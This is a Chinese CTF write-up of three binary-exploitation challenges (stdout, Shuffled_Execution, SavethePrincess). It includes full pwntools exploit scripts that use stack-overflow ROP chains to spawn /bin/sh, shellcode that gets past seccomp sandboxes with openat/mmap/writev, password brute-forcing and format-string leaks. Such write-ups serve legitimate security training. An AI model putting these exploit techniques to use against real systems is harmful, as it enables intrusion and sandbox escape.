stdout
问题
main函数
1 2 3 4 5 6 7 8 9
| int __fastcall main(int argc, const char **argv, const char **envp) { char buf[80];
init(argc, argv, envp); puts("where is my stdout???"); read(0, buf, 0x60uLL); return 0; }
|
vuln函数
1 2 3 4 5 6
| ssize_t vuln() { char buf[32];
return read(0, buf, 0x200uLL); }
|
init函数
1 2 3 4 5
| int init() { setvbuf(stdout, 0LL, 0, 0LL); return setvbuf(stdin, 0LL, 2, 0LL); }
|
一开始的思路是main函数栈溢出劫持至vuln函数,vuln函数栈溢出调用puts得到libc地址,但是setvbuf(stdout, 0LL, 0, 0LL);
无法得到回显
再者的思路是ret2csu,但是无法控制rcx第四个参数致使setvbuf报错,无思路了
解决办法
关键是init函数,setvbuf(stdout, 0LL, 0, 0LL)
标准输出全缓冲,即缓冲区被填满才会进行i/o操作
1 2 3 4 5
| int init() { ; return setvbuf(stdin, 0LL, 2, 0LL); }
|
刷新缓冲区的方法
填满缓冲区后会刷新
exit退出会刷新缓冲区
调用fflush函数
流被关闭(调用fclose
)
在这道题中,我们采用第一种方式进行i/o操作,即重复多次调用extend函数填满缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(log_level = 'debug',arch = 'amd64') p = process('./pwn') libc = ELF('./libc-2.31.so')
ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a)
vuln = 0x40125D extend = 0x401287 puts_plt = 0x4010B0 read_got = 0x404028 pop_rdi_ret = 0x00000000004013d3
payload = b'a'*0x58 + p64(vuln) s(payload)
p2 = b'a'*0x28 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +p64(extend) + p64(vuln) s(p2)
for i in range(20): p3 = b'b'*0x28 + p64(extend) + p64(vuln) s(p3)
p.recvuntil(b'\n') libcbase = u64(p.recv(6).ljust(8,b'\x00')) - 0x10dfc0 log.success('libcbase ==> ' + hex(libcbase)) p.recv()
sys=libc.symbols['execve']+libcbase sh=next(libc.search(b'/bin/sh'))+libcbase
ret = 0x000000000040101a pop_rsi_r15 = 0x00000000004013d1 pop_rdx_ret = 0x0000000000142c92 + libcbase p4 = b'c'*0x28 + p64(pop_rdi_ret) + p64(sh) +p64(pop_rsi_r15)+ p64(0)+ p64(0) +p64(pop_rdx_ret)+ p64(0)+p64(sys) s(p4) p.interactive()
|
Shuffled_Execution
使用带有\x00
的汇编指令绕过strlen,我使用的是mov esi,0
机器码为\xbe\x00\x00\x00\x00
(小端序)
沙箱禁用了许多系统调用,具体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015 0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015 0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015 0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015 0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015 0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015 0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015 0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015 0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015 0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015 0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0015: 0x06 0x00 0x00 0x00000000 return KILL
|
寻常的orw无法使用,这里我采用的是openat,mmap,writev来读取flag
函数原型
openat
1
| ssize_t openat(int dfd, const char* filename, int flags, umode_t mode);
|
函数的第一个参数dfd
指的是当path
为相对路径时,该路径在文件系统中的开始地址(即打开目录获取的文件描述符),但可以指定其为AT_FDCWD
(-100),指定路径为当前路径。另外3个参数与open
参数相同。openat
的返回值与open
相同,都是当前正未使用的最小的文件描述符值。
mmap
1 2 3
| long sys_mmap(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, off_t pgoff);
|
对于Linux系统调用,6个参数的传递寄存器分别为rdi
、rsi
、rdx
、r10
、r8
、r9
。与Glibc的传参有所不同。
内核的mmap
函数的flag
参数和glibc的不太一样,0x10表示映射文件MAP_FILE
,0x2表示私有映射MAP_PRIVATE
,0x20表示匿名映射MAP_ANONYMOUS
。这里需要使用MAP_FILE | MAP_PRIVATE
才能完成映射
writev
1
| ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
|
fd
: 文件描述符,表示要写入的文件、管道或网络套接字。
iov
: 指向 iovec
结构数组的指针,每个 iovec
结构包含一个缓冲区和其长度。
iovcnt
: iovec
结构的数量。
iovec结构体
1 2 3 4
| struct iovec { void *iov_base; size_t iov_len; };
|
solve
思路是绕过strlen直接写shellcode
直接在栈上写writev第二个参数(结构体指针)的*iov_base和iov_len,主要是直接通过汇编操作就像下面的示例,会报错(不清楚原因)
1 2 3 4
| push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * context(log_level = 'debug',arch = 'amd64') p = process('./pwn')
ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a)
mov_esi_0=b'\xbe\x00\x00\x00\x00' p.recv()
shell = ''' mov rsp,0x1338000 mov rax, 0x67616c66 push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 0x10000 mov rsi, 0x1000 mov rdx, 7 push 0x12 pop r10 push 0x3 pop r8 xor r9, r9 push SYS_mmap pop rax syscall push 1 pop rdi push 0x1 /* iov size */ pop rdx mov rsi, 0x1337070 push SYS_writev pop rax syscall '''
payload= mov_esi_0+asm(shell) payload = payload.ljust(0x70,b'\x90')
payload+= p64(0x10000) + p64(0x100) s(payload)
p.interactive()
|
SavethePrincess
随机数绕过
随机数生成范围为a-z
1 2
| for ( i = 0; i <= 7; ++i ) love[i] = rand() % 26 + 97;
|
buf数组和字符i内存区域相邻,当buf数组填满会将字符i打印出来,通过泄露的字符i爆破随机数
单字节爆破,最多爆破26*8=208次,下面是我写的爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] data = '' num = 0
while True: sla(b'> \n', b'1') sa(b'please input your password: \n', ''.join(key)) p.recv(26) data = ord(p.recv(1)) log.success(data)
if (data == num + 1): num += 1 elif (data == 112): key_list = ''.join(key) log.success(key_list) break
else: key[num] = chr(ord(key[num])+1)
|
流程
接下来就是格式化字符串泄露stack和libc,进challenge函数打栈溢出。
先看一眼沙箱,发现又把常见的orw禁用掉了,无法调用read写bss段,所以我选择打栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0013 0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013 0008: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0013 0009: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0013 0010: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0013 0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
|
先用mprotect函数给栈段开权限,注意的是mprotect的第一个参数需要内存页对齐(0x1000),然后接上shellcode,openat,mmap,write
打出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| from pwn import * context(log_level = 'debug',arch = 'amd64') p = process('./pwn') libc = ELF('./libc.so.6')
ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a)
key = ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] data = '' num = 0
while True: sla(b'> \n', b'1') sa(b'please input your password: \n', ''.join(key)) p.recv(26) data = ord(p.recv(1)) log.success(data)
if (data == num + 1): num += 1 elif (data == 112): key_list = ''.join(key) log.success(key_list) break
else: key[num] = chr(ord(key[num])+1)
sa(b'ower!!!\n', b'%10$p'+b'%15$p'+b'%9$p') stack = int(p.recv(14), 16) libcbase = int(p.recv(14), 16) - 0x29d90 canary = int(p.recv(18), 16) stack_base = int(str(hex(stack))[0:11] + '000', 16)
log.info('stack => '+ hex(stack)) log.info('libcbase => ' + hex(libcbase)) log.info('canary => ' + hex(canary)) log.info('stack_base => ' + hex(stack_base))
pop_rdi_ret = 0x000000000002a3e5 + libcbase pop_rsi_ret = 0x000000000002be51 + libcbase pop_rdx_r12_ret = 0x000000000011f2e7 + libcbase mprotect = libc.symbols['mprotect'] + libcbase
leave_ret = 0x000000000004da83 + libcbase
shellcode =''' mov rax, 0x67616c66 push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 0x10000 mov rsi, 0x1000 mov rdx, 7 push 0x12 pop r10 push 0x3 pop r8 xor r9, r9 push SYS_mmap pop rax syscall
mov rdi, 1 mov rsi,0x10000 mov rdx,0x40 push SYS_write pop rax syscall
'''
payload = b'a'*0x38 + p64(canary) + p64(stack) + p64(pop_rdi_ret) + p64(stack_base) payload+= p64(pop_rsi_ret) + p64(0x20000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) payload+= p64(mprotect) + p64(stack + 0x30) + asm(shellcode) sla(b'> \n', b'2') sa(b'dragon!!\n', payload)
p.interactive()
|